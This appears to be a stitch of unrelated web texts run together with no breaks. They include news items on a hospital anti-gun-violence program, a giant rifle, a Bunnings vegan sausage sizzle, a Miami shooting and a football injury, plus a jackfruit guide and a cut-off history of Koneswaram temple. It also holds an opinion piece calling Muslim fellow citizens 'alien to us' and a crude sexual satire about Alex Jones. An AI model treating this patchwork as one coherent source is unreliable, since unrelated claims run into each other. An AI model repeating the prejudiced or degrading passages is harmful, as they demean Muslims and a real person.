PHILADELPHIA (CBS) – Dr. Amy Goldberg, Temple Hospital’s chief of trauma and surgical critical care, stood in the hospital’s emergency room and held up a blunt-looking metal tool so 20 boys, 8th graders from Finletter, could see it.
“We take an instrument like this, lift up on the breast bone and actually cut straight across it,” she explained.
Goldberg’s description of the extraordinary and somewhat gruesome steps she takes to save gunshot victims are part of “Cradle to Grave,” a program she created in 2006, after a spike in teen gun deaths, to show middle school students the true consequences of gun violence.
“They have no idea what gunshot wounds and gunshot violence is really about. None,” she says.
Goldberg believes music, movies and video games have given teenagers an unrealistic view of guns and even the rituals that have developed around the mourning of homicide victims reinforce a romantic image of violence.
“Cradle to Grave” seeks to dash that by taking teens through the process a shooting victim goes through, using a case study from Temple’s own records, that of 16-year-old Lamont Adams.
Listen to entire interview:Firing custom 2,400- to 3,600-grain bullets and reportedly matching the power of a World War I tank round, the SSK.950 JDJ is considered by many to be the world’s largest (movable) centerfire rifle. The firearm boasts massive power and an equally large frame. A base model.950 JDJ weighs roughly 85 pounds and virtually requires being fired from a benchrest or similar support piece. Only three were ever made. A call to SSK Industries revealed that the firearm’s action is no longer in production and that a custom-built.950 JDJ today would be in the realm of $17,000. Because of its power the firearm would normally be classified as a Destructive Device, but SSK was able to obtain a “Sporting Use Exception” that would allow them to be purchased much like any other rifle.
If the Tyrannosaurus rex ever came back though some botched theme park experiment, this would be the gun to use.
Unfortunately, the recoil from the rifle is rather “significant.” If that’s not enough to keep you a spectator, each custom-made cartridge for the gun is worth about half a day’s pay on minimum wage, if not more. In the below video several guys from Knights Rifles try out the first.950 JDJ ever made, a lightweight prototype that set the mold for the rest. While it may be a good 30 pounds lighter than its bigger cousins, the gun can “kick like a mule.”
An optional muzzle break for the rifle weighs 13 pounds.
The gun was designed by SSK Industries owner J.D. Jones. SSK manufactures a number of other firearms and firearm accessories including custom work.
Image screenshot of video by Knight Rifles Americas Muzzleloader on YouTube
What's Your Reaction?Melbournites had a major sook over the vegan sausages at a Bunnings sausage sizzle.
Melbournites had a major sook over the vegan sausages at a Bunnings sausage sizzle. News Corp Australia
THE Bunnings sausage took on a whole new flavour at the weekend when a cat rescue service sold vegan snags in Melbourne.
Disappointed tradies, DIY-ers and mums with gift cards kicked up a Mother's Day fuss when they discovered the meat-free snags at Mentone Bunnings.
The Cheltenham Cat Rescue group was behind the sausages, with group founder Natasha Reus saying some people threw a tantrum but 550 people bought an alternative sausage and loved it.
"I think maybe some people were disappointed to come to Bunnings ready to buy a sausage and it's not the traditional fare - some people were a bit angry, we had the odd Oscar winning performance but most people asked questions and many gave them a try," Ms Reus said.
Ms Reus said the Mother's Day BBQ was their third at Bunnings but this time the event caused a stir, with meat loving shoppers taking to talkback radio to complain.
"One woman in particular was very upset and very rude. I think she complained to Bunnings," Ms Reus said.
Customer Olivia was surprised too see the vegan snags.
"We were a little shocked, considering it's probably one of the most male dominated destinations in the country," Olivia told 3AW.
"We were like... thank you, but no thank you."
At a November sizzle the group sold 1,000 vegan snags to Bunnings shoppers, she said.
Cheltenham Cat Rescue was raising money to help pay vets fees and also to kickstart a multilingual awareness campaign about desexing cats.
They raised $1300 at the controversial Mother's Day sizzle.
"I think we challenged people's ingrained habits and thought processes," Ms Reus said.
"We explained we were an animal rescue group so couldn't sell animals to eat and so people had to think about that."
Unfazed by the criticism, Ms Reus said "at least we've got people talking about the issue."
Bunnings State Operations Manager, Tony Manzone, said for over two decades, Bunnings has been supporting thousands of local community groups via the fundraising sausage sizzle.
"Since their inception the guidelines have been consistent. Meat sausages, onions and bread. This has not changed," Mr Manzone said.
"However, in recent years, and on a case-by-case basis, we also allow community groups to have a vegan fundraising sausage sizzle if that is their preference, which is supported by appropriate customer signage. In addition, our cafes provide vegetarian and other options for customers if required."
Originally published as Shock, anger at Bunnings over sausage sizzleSan Francisco Giants fan Bryan Stow was beaten outside Dodgers Stadium back in 2011. Stow gave an emotional interview to EPSN and for the first time, we are seeing and hearing the incredible progress he's made since the attack.Stow pointed to some of the sports memorabilia he's collected. He pointed to a few signed baseballs saying, "This one's from Tim Lincecum and this one's from Will Clark. 'Bryan, a true Giant!' signed by Will Clark."Stow has been disabled since the attack on opening day 2011. There are holes in his memory, including the Giants winning the World Series in 2010 and 2012. He said the team's recent run has been a blessing to his life.When he was asked why he loved the Giants and why were they his team, Stow replied, "Why not? Who else am I going to like? The A's? The Dodgers? No. The Giants are where it's at."Stow now lives at his parents' home in Capitola and is looked after by his family. He was awarded an $18 million settlement, but has not received the money because of setbacks with the court.For now, Stow is happy he's alive and even happier seeing his team win once again.Imagine if Saturday’s three London Bridge killers had been British Nationalist party thugs, ramming their car through a Pakistani neighborhood. Would a single decent person have heard the news and immediately said, “Well, this number of dead people is statistically insignificant compared to those that die in car accidents. These punks can’t threaten our society!” Would anyone have asked, “Why are we talking about the killer’s politics? There are thousands of gun murders in America every year and those killers don’t have their politics talked about.” Would they have felt like singing John Lennon’s “Imagine” the next morning to conjure up a vision of a day when people of all political creeds can get along?
We all know the answer.
And yet, even before the victims on London Bridge had stopped bleeding, this was the reaction among society’s best, brightest and most morally self-assured members on social media. The pattern is by now familiar. Even as an Islamic terrorist killer’s proclamations about Allah’s will are still ringing in victims’ ears, these individuals are already declaring that the true danger from the attack is an Islamophobic backlash, and that you’re more likely to die by drowning in your own swimming pool than from a terrorist attack.
Do they know how callous that sounds? Do they not realize that sensible human beings react differently to a car accident than to a murder plot? Or that states and car manufacturers are constantly working to decrease the lethality of driving, while terrorists are constantly trying to improve the lethality of their enterprise?
Terrorist acts have now become “the kind of thing that inevitably flares up and causes some damage before the experts put it out,” according to one media wit.
{snip}
The reason the subject changes so quickly from the people dying in the street to the potential victims of backlash is obvious. Islamist terror is politically inconvenient for advocates of mass migration from the Islamic world. To talk about it honestly might lead people to notice that the Czech Republic, which doesn’t have mass migration from the Islamic world, also doesn’t have Islamist terror attacks. And because of that, Czechs also typically don’t engage in these self-criticism sessions over Islamophobia.
But there is a deeper reason why so many in the media reach for car accidents and lightning bolts and other disasters that have no moral content. They know that deep down they really don’t share a society with the Islamic extremists. Their fellow citizenship exists only on paper, not as a social reality, and it gives them no authority to speak into that subculture, nor any hope of using their public platforms to reason with its members. They have admitted by this evasion the very fact that they wish no one to acknowledge: that these fellow citizens are alien to us.
Original Article
Share ThisI woke up one morning a year and a half ago and I wasn’t even certain of where exactly I was or what was going on. I was wearing two different socks, for example. And they weren’t even somewhat alike. One sock was dark blue and the other was light green with black stripes.
Anyway, I was in a messy waterbed, there were unused drugs lying on almost every surface in the room, and empty bottles of vodka cluttered the gestalt. It was a pretty wretched scene. I had vague recollections of the night before, and they were ugly recollections. Try waking up sometime with seratonin depletion from excessive chemical consumption and the fleeting remembrances of a sweaty, bloated, amphetamined Alex Jones standing behind you as you slump down on all fours, submissively accepting his anti-NWO manhood in all its porkly glory.
COINTELPRO? I was a COINTEL-HO – and a shameless one at that. I needed a new direction in my life.
So I reached out to the Illuminati. I had for too long endured the damage that paling around with the main anti-Illuminati warrior Alex Jones had done to my life. Perhaps I was barking up the wrong tree, so to speak. Perhaps I needed a change.
The Illuminati were warm and welcoming when I told them what had been going on. Instead of judging me, or rejecting me, they invited me to a special gathering at the Bohemian Grove. While I did involve myself in anal fornication during one particular orgiastic ceremony in honor of Moloch during my time at the Grove, I did not wake up feeling bad about it. On the contrary I felt totally alive. And while association with Alex Jones offered me a wealth of Youtube followers and discounts on infowars paraphernelia, the Illuminati were able to offer me fame and riches beyond my wildest dreams.
All I need to do is attend a few more ceremonies at the Grove, maybe sacrifice a virgin or two to Moloch, and I’m golden.
While Alex Jones and his sweet-talking may seem alluring to the young and easily fooled, take it from me: the Illuminati are your true friends. Jones will use you and just throw you away.
Don’t be an infowhore.The pizzeria and bar helmed by TNA Impact wrestling champion Lisa Marie Varon and her husband Lee now has a name, and Varon has shared more details on the space. The Squared Circle (wrestling slang for the ring) will start with a soft opening in late-February/early-March. The space holds 60 seated-patrons plus standing-room, which will be adorned with wrestling decor like autographed memorabilia and TVs screening wrestling pay-per-view and other live sports. Varon says wrestlers will swing by, so practice your choke holds and chair throws.
Nashville chef Chris Mason will run the kitchen, featuring his house-ground burgers. A custom-built brick oven will crank out New York-style pies. There will also be a full bar.
Varon says she wants to bring the wrestling environment and energy to The Squared Circle. "I want people to come back for the amazing food, not just the wrestling aspect," the former South Beach bartender says. She talked about professional wrestling's "pre-determined outcome," she's hoping The Squared Circle will have a pre-determined positive outcome too.
In other wrestling restaurant-related news, Varon's co-host Hulk Hogan says his new Florida restaurant will be "Hooters times 10."
· Lisa Marie Varon [Official Site]
· Hulk Hogan Says His New Florida Restaurant Will Be 'Hooters Times 10' [Eater National]
[Photo: Lisa Marie Varon]MIAMI - Miami police are looking for the person who killed Thomas Quass after he was shot early Saturday morning on Northwest 26th Street near North Miami Avenue.
Police said Quass, 41, and his girlfriend left a Wynwood nightclub and were walking to his car about 1:15 a.m. when a man approached them and had a confrontation with Quass. That man shot Quass and got away in a waiting gray 2013-2015 Hyundai Veloster.
"He was immediately transported to Jackson Memorial Hospital, where just minutes later he died," Officer Kenia Fallat said.
Police said the shooter was 5 feet 10 inches tall and 170 pounds. He wore a black and gray shirt, black pants and a black hat.
"We have a vague description, but we have a pretty good description of the vehicle that he was traveling in," Fallat said.
Police were seen going door to door with fliers in the neighborhood, hoping someone can lead them to Quass' killer.
"We do know that there is someone out there that perhaps knows information as to what took place," Fallat said.
Follow Liane Morejon on Twitter @LianeMorejonTV
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Copyright 2015 by Local10.com. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.How to Open a Jackfruit
Jackfruit is a massive fruit you can find in much of Southeast Asia. Fruit is always one of the healthiest options for our diets. This may be the most interesting and Epicurean adventure when it comes to getting to the actual meat of a fruit.
Where to Find Jackfruit
It is increasingly available at supermarkets. We bought ours here in Houston. It was a crazy $18 but the novelty of the experience it provided was worth it. We had a friend in town and my wife’s Thai background always makes for good entertainment here. You can now find it on amazon.com as well by clicking the link here.
What You’ll Need
As I mentioned before, this is one of the most challenging fruits you’ll ever enjoy opening. You will have a better experience if you have the following.
A large plastic bag or tarp to place under the fruit.
A large, sharp knife
Several bowls for both the fruit and the seeds
Some oil or gloves for your hands to keep the sticky substance from getting too annoying.
Several friends who are good at telling jokes and stories!! 🙂 🙂
The Fruit
What you are going for is the palm sized pieces that look like this. The seed is inside and you might want to get it out before it’s ready to serve. You can put them in a bowl for a later recipe you will want to stay tuned for. 😉
Opening the Fruit
First, you make sure to place the fruit on a large plastic bag or tarp, preferably outside. Next, gather your friends, family, neighbors, whoever you can round up to help. Cut the fruit length wise in half. Wash and oil your hands a little or wear gloves. Dig in and pull out the fruit, seeding it and placing it in bowls. Share the fruit with everyone!!
If you liked this you might also like one of the following posts.After sustaining a knee injury on Saturday against North Texas, Florida’s Luke Del Rio is expected to be out for weeks, not months, according to multiple reports.
Zach Abolverdi of the Atlanta Journal-Constitution’s SEC Country reported early Sunday afternoon that Del Rio’s injury was believed to be a knee sprain that will keep him out for two or three weeks. Later in the day, Mike Huguenin of Gridiron Now reported Del Rio’s injury is an MCL sprain in his left knee, and that he is expected to return for Florida’s game against LSU on October 8,
Scout writer Bob Redman also previously reported behind a paywall ($) that Del Rio was expected to miss two weeks.
Huguenin writes that Del Rio “should be back” for Florida’s game against the Tigers. If he is, it would narrowly avert the likely world-ending possibility of two Purdue transfers — Florida backup Austin Appleby, likely the Gators’ starter in Del Rio’s absence, and Danny Etling, who has usurped Brandon Harris as LSU’s No. 1 signal-caller — starting in an SEC game in The Swamp.
If Del Rio misses three games, he would be on pace to return in five weeks, after a Homecoming contest with Missouri, but before Florida’s October 29 game against Georgia. Either way, all reports suggest that Del Rio will miss Florida’s road trips to Tennessee and Vanderbilt over the next two weeks.
Del Rio left Saturday’s game in the third quarter after being hit at the knees by North Texas’s Joseph Wheeler while releasing a pass. Del Rio was helped to his feet and partially off the field by trainers, but finished his walk to the locker room under his own power.
Florida coach Jim McElwain implied that Del Rio would miss significant time in postgame comments, but a two- or three-week recovery for him would be far better than the prognosis of a season-ending injury offered by initial fears of a fully torn ACL or MCL.Noam Chomsky has leapt to the defense of Bruce Gilley, a political science professor at Portland State University following, following withering criticism and calls for censorship against him for defending colonialism.
As The Daily Caller previously reported on September 18, Portland State University is being slammed for sheltering Gilley, who made a case for colonialism in an article for the scholarly publication Third World Quarterly.
In his article, titled “The case for colonialism,” Gilley argued that it was necessary to question the orthodox view of Western colonialism as a net negative. “Western colonialism was, as a general rule, both objectively beneficial and subjectively legitimate in most of the places where it was found, using realistic measures of those concepts,” he wrote. “The countries that embraced their colonial inheritance, by and large, did better than those who spurned it.”
The professor decried “anti-colonial ideology” for imposing “Grave harms on subject peoples and continues to thwart sustained development and a fruitful encounter with modernity in many places.”
Gilley, who is facing a professional blacklist for his article, has since requested a withdrawal for his article from the publication because he regrets “The pain and anger it has caused for many people,” per the College Fix earlier this week.
On Monday, TWQ editor-in-chief Shahid Qadir defended the publication’s decision to run the piece, saying it went through a double-blind peer review protest and that he intended to run opposing viewpoints. He added that the publication wasn’t endorsing Gilley’s views, but is instead “presenting it to be debated within the field and academy, which this justifiably has been.”
Members of the publication’s editorial board disputed Qadir’s claim to say that it was not published with their input. 15 of them resigned in protest.
Chomsky, who is a member of the editorial board at the peer-reviewed Third World Quarterly, said that he opposes censorship and public demands for the article’s retraction because it opens “dangerous doors.” He made his remarks to College Fix in an article on Thursday.
His comments follow the resignations of his colleagues, who ironically claimed that Gilley’s article violated the “very principle of free speech” by causing “offense and hurt.”
The prominent MIT linguist, who disagreed with the mass resignation, said that he would like to see an explanation and an apology from TWQ editor-in-chief Shahid Qadir |
story of Kullakotan to be mythical based on the travails of historical figures such as Gajabahu II, Kalinga Magha or a Chola regent of Sri Lanka.[4][53]
Sixth-seventh century A.D. hymn, Pallava kingdom [ edit ]
Tevaram of Trincomalee "Konamalai is the abode of our Lord Shiva, where despite the wrong beliefs and evil efforts of the Jains and those that follow Theravada, the rearing waters of the sea scatter on the shore sandalwood, ahil, precious stones and pearls – all of value high, for where he settled". Sambandar, Tevaram. Reign of Mahendravarman I
In the 6th century, a special coastal route by boat travelled from the Jaffna peninsula southwards to the Koneswaram temple, and further south to Batticaloa to the Thirukkovil.[54] Koneswaram temple of Kona-ma-malai is mentioned in the Saiva literature Tevaram in the late sixth century A.D. by Thirugnana Sambandar.[55] Along with Ketheeswaram temple in Mannar, Koneswaram temple is praised in the same literature canon by the 8th century Nayanar Saint Sundarar in Tamilakkam.[56] Koneswaram henceforth is glorified as one of 275 Shiva Sthalams (holy Shiva abodes glorified in the Tevarams) of the continent, part of the "Paadal Petra Sthalam" group. The only other holy temple from Eela Nādu (the country of the temple as named in the Tamil literature) is Ketheeswaram.[57][58] During this period, the temple saw structural development in the style of Dravidian rock temples by the Tamil Pallava Dynasty.[59][60] This occurred when Pallava King Narasimhavarman I (630–668 A.D.) armies conquered the island and when the island was under the sovereignty of his grandfather King Simhavishnu (537–590 A.D.), when many Pallava-built rock temples were erected in the region and this style of architecture remained popular in the next few centuries.[61][62] The 8th–10th century Kanda Puranam (a Puranic Tamil literature epic and translation of the Skanda Puranam) authored by Kachiyappa Sivachariar of Kanchipuram describes the Koneswaram shrine as one of the three foremost Shiva abodes in the world, alongside Chidambaram temple in Tamil Nadu and Mount Kailash of Tibet.[6] Several inscriptions written in the Tamil and Vatteluttu scripts interspersed with Grantha characters relate to the temple from this period. Koneswaram temple is mentioned in the 10th century Tamil Nilaveli inscriptions as having received a land grant in the Tamil country of one thousand seven hundred and ten acres (two hundred and fifty four vèli) of dry and wet land to meet its daily expenses – revealing the temple's role in providing various services to the local community by 900—1000 A.D.[63][64] The fertile Koddiyapuram area of Trincomalee district paid one hundred avanams of rice to the shrine and was tasked with growing oil seed for Koneswaram annually.[27]
Tenth-twelfth century Chola empire [ edit ]
Golden statue of Shiva in front of partially restored Koneswaram temple where the inscriptional poem praising Raja Raja Chola I was found
Trincomalee figured prominently during the medieval golden age of the Tamil Chola Dynasty, due to the proximity of the Trincomalee bay harbour with the rest of the continent and its benefits for the Chola's maritime empire and the two powerful merchant guilds of the time – the Manigramam and the Five Hundred Lords of Ayyavolu in their trade with the far east and conquest of Srivijaya of the Malay archipelago and Indonesia.[39][65][66] The Koneswaram temple compounds and its adjacent region, from Periyakulam and Manankerni in the north, Kantalai and Pothankadu in the west, and Verugal in the south, formed a great Saiva Tamil principality.[39] Residents in this collective community were allotted services, which they had to perform at the Koneswaram temple.[39] An inscriptional record containing a praiseful poem of Raja Raja Chola I, who ruled the northern Malabar country from 993 to 1014 A.D. was discovered in the 1970s within the premises of the Koneswaram temple.[67][68] The 1033–1047 A.D. Tamil inscriptions of the nearby Choleeswaram temple ruins of Peraru, Kantalai and the Manankerni inscriptions reveal the administrative practices of the Chola King Ilankeshvarar Devar (Sri Cankavanamar) with the Koneswaram shrine and the Trincomalee region at the time. Construction activities at the temple were aided by architect and Chola dignitary Muventavelan Kanavati.[69][70] The Palamottai inscription from the Trincomalee district, found amongst the inscriptions in nearby Kantalai, records a monetary endowment to the "Siva temple of Then Kailasam (Kailash of the South)" by a Tamil widow for the merit of her husband. This was administered by a member of the Tamil military caste – the Velaikkarar, troops deployed to protect shrines in the state that were closely associated to King Ilankeshvarar Devar.[70][71] King Gajabahu II who ruled Polonnaruwa from 1131 to 1153 A.D. is described in the Konesar Kalvettu as a devout worshipper of Lord Shiva and a benefactor of the temple of Konamamalai.[3][72] King Chodaganga Deva, a descendant of King Virarajendra Chola's grandson Anantavarman Chodaganga Deva – the progenitor of the Eastern Ganga Dynasty of Odisha and Andhra Pradesh – made rich donations after visiting Konamamalai on Tamil New Years Day 1223 A.D., according to a Sanskrit inscription in Grantha script excavated on a doorjamb at the Hindu temple.[73] A millennium-old Tamil inscription of the Chola Vatteluttu alphabet was discovered in October 2010 when digging for construction on an esplanade on the right side of Konesar Road leading to the shrine.[74]
Pandyan kingdom, thirteenth century [ edit ]
Pandyan era Koneswaram inscription
gopuram tower of the vimanam, the inner and outer gopurams of the Kalasam visible. Sundara Pandyan gold plated the gopurams and placed the kalasam atop the towers of both Tirumala Venkateswaram and Thirukonamamalai Koneswaram Kovils. Compared in the sixteenth century, Tirumala is now the richest and most visited place of worship in the world. The Ananda Nilayam tower of the, the inner and outerof the Tirumala Venkateswara Temple Tirupati, with Jatavarman Sundara Pandyan'svisible. Sundara Pandyan gold plated the gopurams and placed theatop the towers of both Tirumala Venkateswaram and Thirukonamamalai Koneswaram Kovils. Compared in the sixteenth century, Tirumala is now the richest and most visited place of worship in the world.
The temporal and spiritual conquest of Ceylon by Fernão de Queyroz Drawing of a shrine/vimanam of the original Koneswaram Kovil Compounds of Trincomalee by Constantine de Sa de Noronha, who destroyed all three Koneswaram temple monuments on Swami Rock from 1622 to 1624. Published in 1687 datedby Fernão de Queyroz
Involvement of the medieval Pandyan Dynasty in the affairs of the Tamil country became stronger after the conquest of Pandyan king Srimara Srivallabha from 815—862, a strongly welcomed intervention by the local Tamils on the island.[8] While under Pandyan suzerainty in 1262 A.D., Prince Jatavarman Veera Pandyan I, brother and lieutenant of King Jatavarman Sundara Pandyan I repeated his brother's 1258 conquest of the island to intervene and decisively defeat Chandrabhanu of Tambralinga, a usurper of the northern Tamil throne; he proceeded to implant the Pandyan bull flag of victory and insignia of a "Double Fish" emblem at Konamalai while he subjugated the other king of the island.[6] Historically, the Pandyans were known to have sculpted two fishes facing each other on the ceilings of their multi-storey temple gopurams once they were completed (and left it with one fish in case it was incomplete). Sundara Pandyan had renovated the gopurams by gold plating the roofs and installing gold gilded Kalasam atop them, a work of art displaying affinity to Dravidian architecture. Swami Rock at this time is described as "Kona ma-malai, around which the ocean waves swept pearls, gold, precious stones, and shells from the depth of the ocean and heaped them along the shore." Local residents contributed to the wealth of the temple under the Pandyan's rule of the north of the island.[6] The 13th century Tamil stone inscription in Kankuveli village records the assignment by Vanniar chiefs Malaiyil Vanniyanar and Eluril Atappar of income and other contributions from the rice fields and meadows of the Vannimai districts of the ascending Jaffna kingdom to the Koneswaram shrine.[75]
Jaffna kingdom (1215–1620 A.D.) [ edit ]
The Tamil Aryacakravarti dynasty kings of the Jaffna kingdom paid homage to the Koneswaram shrine under its sovereignty, offering gifts of gold and silver. Among the visitors were King Singai Pararasasegaram and his successor King Cankili I.[76] King Jeyaveera Cinkaiariyan (1380—1410 A.D.) had the traditional history of the temple compiled as a chronicle in verse, entitled Dakshina Kailasa Puranam, known today as the Sthala Puranam of Koneswaram Temple.[59] The literature describes how from the middle of Sivanoli Padam Malai, three rivers or "kankai" (Ganges) were generated to rise out of Shiva's foot print – Mavillie-Kankai flowing towards the North, reaches Shiva's abode at Trincomalee, and falls into the sea south of it. Manikka-Kankai flows towards the East and passes by the temple of Kadirkamam, dedicated to Muruga, son of Shiva, and then falls into the eastern sea. Kavary-Kankai flows towards the West, and passes into the place of Shiva called Thiruketheecharam at Manthottam in Mannar. These three rivers are described as "highly meritorious streams". He shipped stone blocks from Trincomalee to the temple of Rameswaram to renovate its sanctum sanctorum. Jeyaveera Cinkaiariyan's successor Gunaveera Cinkaiariyan (Pararacacekaran V), a trustee at Rameswaram who also oversaw structural development of that temple and the promotion of Saivite belief, donated part of his revenue to Koneswaram.[6][48] The powerful Jaffna emperor Martanda Cinkaiariyan (Pararasasekaram III) took the Moroccan traveller Ibn Battuta to Sivanoli Padam Malai in 1344 A.D. along with four yogis who were in the habit of visiting the foot-mark on the mountain peak annually; and with these men they were also accompanied by four Brahmanas and ten of the king's companions. In 1468 A.D. Saint Arunagirinathar Swamikal paid homage at Koneswaram during his pilgrimage from Jaffna's Nallur Kandaswamy temple to Kadirkamam. At Koneswaram, he offered a garland of Thiruppugazh verses in praise of the Sthalam. The population, he stated, at Koneswaram, where the deep ocean rolled its furious waves, was vast, the temple well organised and the priests well versed in the Four Vedas. The shrine of Muruga, adoring son of Konesar and his consort, was near one of the gopuram entrances of the complex.[3][59]
A rich collection of local texts written since the fourteenth century record the traditions pertaining to the shrine, including Konamamalai temple's use of the alternate name "Maccakeswaram".[69] A temple of a thousand columns, during this medieval period, Koneswaram attracted pilgrims from around the Coylot Wanees Country and across Asia, culminating in it becoming the richest and most visited place of worship in the world of any faith. The last rites during the funeral of King Bhuvanekabahu VII of Kotte, a Hindu monarch who signed all of his official proclamations in Tamil were conducted at Koneswaram in 1551. His closest religious official and most trusted ambassador was of Hindu faith. Historian Diogo do Couto described the Pagode of Triquinimale as a principle temple of its kingdom while Portuguese Catholic priest and author Fernão de Quieroz described it as the "Rome of the Hindus of the Orient more frequented by pilgrims than Rameshwaram, Tirumalai-Tirupati, Kilvelur, Kanchipuram, Jagannath in Odisha or Vaijayanti in Bengal." Furthermore, he described the splendor of the famous temple of Tenavarai at its zenith as similar in its greatness on the island to Koneswaram and how idolatrous navigators would descry Koneswaram from the sea.[27] In a 1613 written letter by Jesuit fray Manuel Barradas, Koneswaram is described as a "... massive structure, a singular work of art. It is of great height, constructed with wonderful skill in blackish granite, on a rock projecting into the sea, and occupies a large space on the summit."[77] King Ethirimana Cinkam had resisted a call by D. Hieronymo de Azevedo the previous year to aid the latter in building a fortress in Trincomalee. The enterprise was abandoned.[78] With the defeat of King Cankili II, all of the territory of the kingdom of Jaffna, comprising Trincomalee and Batticaloa, was assigned to the "spiritual cures of the Franciscans." This decision was taken by the bishop of Cochin, fray Dom Sebastião de S. Pedro.[79] By the end of 1619, a small Danish fleet had arrived at Trincomalee; in May 1620, the Danes occupied Koneswaram temple and began works for the fortification of the peninsula before being defeated.[80]
1692 engraving by Wilhem Broedelet of Robert Knox's 1681 map with Trincomalee on the east coast of Malabar country
Seventeenth-century destruction [ edit ]
The shrine was attacked and destroyed on 14 April 1622, the Tamil New Years Day, by the Portuguese general Constantino de Sá de Noronha (who called it the Temple of a Thousand Pillars).[6] Eleven brass lamps had been lit in the shrine and the main statues were taken out to town during the ther procession in the festive period, during which time Portuguese soldiers entered the temple dressed as Iyer priests and began robbing it. In an act of religious zeal, the temple was then levered over the edge into the sea. Fleeing priests buried some of the temple's statues in the surrounding area, and all remaining priests, pilgrims and employees were massacred. The final monument of the temple complex was destroyed two years later in 1624. Temple stones and its carved pillars were used to construct Fort Fredrick to strengthen the colonists' influence over the eastern seaboard of the island against other invading European armies, including the Dutch navy during the Dutch–Portuguese Wars. A new church and village were built in and around the fort. An extensive campaign of destruction of five hundred Hindu shrines, the Saraswathi Mahal Library and forced conversion in the Tamil country was conducted by the Portuguese upon their arrival to the island and conquest of the Jaffna kingdom; the temple had been paying protection fees of 1280 fanams a year to the Portuguese. Trincomalee witnessed several naval battles of Europe's Thirty Years' War under Phillip II's man Filipe de Oliveira.[81][82][83] Between 1639 and 1689 A.D., the Ati Konanayakar temple was built in nearby Thampalakamam to house the idols on procession that survived.[84][85] The destruction of the Konesar temple is historically viewed as the biggest loot of one of the richest temples of Asia. Gold, pearls, precious stones and silks collected for more than a millennium were robbed within a few hours.[86] A site plan by De Quieroz states: "On the first rise to the summit of the rock was a Pagoda, another at mid-ascent – the principal one of them all at the highest eminence, visited by a concourse of Hindus from the whole of India."[40] He describes three temples of the compound on the promontory, stating that pilgrims leaped from the last temple into the ocean in sacrifice to their idols.[40] In his dispatch to Philip III, King of Portugal, Constantine described: "The land of the Pagoda is 600 fathoms long and 80 feet at its broadest, narrowing to 30 feet." Regarding a prophetic Tamil inscription de Noronha found at the site, he added "When I went there to make this Fort, I found engraved on the Pagoda, among many other inscriptions, one that ran thus: Kulakottan has built this pagoda..."[51]
Swami Rock (18th - 20th centuries) [ edit ]
The first photograph of Swami rock and ruins of Koneswaram in 1870, prior to the reconstruction of the temple. Local residents offered services to a pillar from the original mandapam in memory of the destroyed temple
Under Dutch Ceylon, most of Trincomalee town was administered under Jaffna-dependent Vanniars again, while the fort was occupied by the Dutch on what they called "Pagoda Hill". Batticaloa district remained dependent to Trincomalee's fort until 1782.[87] No ceremonies were permitted to take place on Swami Rock until British rule of the island, when pilgrims were permitted to return and worship Shiva at the fortressed sacred site.[86][88] By the mid-19th century, sailors, the high priest and other pilgrims visited the rock, broke a coconut and said prayers, performing sacred rites every January. Fruits and other offerings were often cast over the edge of the cliff, falling to the ruins below.[4][89][90] The first photograph of the shrine's remains and its promontory was taken in 1870. Literature on the shrine began to be written as the site began to regain popularity among pilgrims. Thirukonasala Puranam was written during the 19th century by Tamil scholar Masilamanipillai Muttucumaru on the temple and the Thirukonasala Vaipavam on Koneswaram was written by V. Akilesapillai in 1889, published sixty years later in 1952.[6]
Idol recovery, ruins and 20th-century reconstruction [ edit ]
Antonio Bocarro draws Koneswaram temple monuments at the end of the promontory in 1635. The compound had been largely destroyed a decade earlier to build the large fort depicted.
In 1950, the Urban Council of Trincomalee recovered a number of the original shrine's statues buried five hundred yards from the Koneswaram site. The discovery occurred during digging for a water well.[3][42][91] The statues are of gold and copper alloy bronze and are believed to be from the tenth century A.D. They depict a seated figure of Shiva (in the form of Somaskanda), Shiva as Chandrasekhar, his consort goddess Parvati, the goddess Mathumai Ambal and Lord Ganesh. They were taken in procession around the region before being reinstalled at Koneswaram.
Other Koneswaram statues that survived remain at the Ati Konanayakar temple.[84][85] A pillar from the original temple stands under a decorated Vilvam (Aegle marmelos) tree on Swami Rock.
In 1956, while scuba diving, photographer Mike Wilson and author Arthur C. Clarke discovered ruins from the sunken original temple spread on the shallow surrounding sea-bed. Relics found by Wilson and Clarke included masonry, architecture, idol images, carved columns with flower insignias, and stones in the form of elephant heads.[13][92] These ruins, as well as the pillar on Swami Rock, display Tamil, Pallava, and Chola architectural influence of the 3rd–9th century era. Corroborated by the discovery of Pallava Grantha and Chola script inscriptions and Hindu images found in the premises, this suggests that the dynasties took a keen interest in the temple.[59]
Wilson and Clarke also retrieved the legendary Swayambhu lingam from the ocean floor. According to legend, this large natural stone obelisk was one of 69 naturally occurring lingams from time immemorial originally found on Mount Kailash of Tibet and housed in Koneswaram by King Raavan – his most sacred power object from mythological times. This lingam was reinstalled at the Koneswaram site.
Publishing their findings in the 1957 book The Reefs of Taprobane, Clarke expresses admiration for Swami rock's three thousand year veneration by Hindus.[42] Identifying at least three Hindu temples as having been built on and around Swami rock, Clarke describes the tenth century A.D. Koneswaram idols as "among the finest examples of Hindu bronze sculpture known to exist", the seated Shiva Chola bronze "a masterpiece" and the battered stone work at the foot of Swami Rock as "probably the most photographed underwater ruins in the world."[42] 350 years after its destruction, Sri Lankan Tamil Hindu people of Trincomalee organised the temple restoration committee to restore the temple; the old images were reinstalled amid opening ceremonies in the newly restored shrine on 3 March 1963.[6]
Side entrance to the temple
Some of the artefacts from the demolished temple, including De Sa de Noronha's translation of the prophecy sent to Portugal, are kept in the Ajuda Library of Lisbon (Bibliotheca da Ajuda), along with a painting and map of the original shrine. The chronicler António Bocarro shows three monuments of the Trincomalee Koneswaram Temple Compounds on the extremity of the peninsula in his map of the Livro das plantas das fortalezas cidades e povoaçois do Estado da India Oriental document of 1635, but these temples are missing from the copy of the document stored at the Paço Ducal di Vila Viçosa library in Lisbon. The stone inscription discovered by the temple's destroyer has a Double-Fish insignia and its engraved prophecy, translated from ancient Tamil script, warns of the "coming of the Franks" after the 16th century. The prediction reads "O King! The franks shall later break down the holy edifice built by Kulakoddan in ancient times; and no future kings of this island will rebuild it! Following the successive reigns of the cat eyed, the red eyed and the smoke eyed nations it will voluntarily revert to the Tamils."[42] Pandyan king Jatavarman Veera Pandyan's insignia of the old Koneswaram temple and a portion of the prophetic inscription are seen today at the door entrance to Fort Fredrick.[6]
Location and layout [ edit ]
